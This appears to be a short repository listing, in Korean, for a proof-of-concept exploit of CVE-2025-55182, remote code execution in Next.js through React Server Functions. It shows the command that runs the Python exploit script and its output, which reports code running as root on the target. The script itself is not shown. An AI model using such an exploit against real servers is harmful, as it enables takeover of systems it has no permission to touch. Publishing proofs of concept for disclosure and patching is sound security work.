gunyakit/cve-2025-55182-poc-exploitReact Server Functions를 통해 Next.js에서 원격 코드 실행을 가능하게 하는 CVE-2025-55182에 대한 개념 증명 익스플로잇. 명령 주입을 시연하고 시스템 수준 출력을 반환하는 Python 스크립트가 포함됩니다.
React Server Functions를 통한 Next.js RCE
❯ python3 cve-2025-55182-exploit.py
0:{"a":"$@1","f":"","b":"3OmR5Ifk9dmFJ1coB7-Wc"}
1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}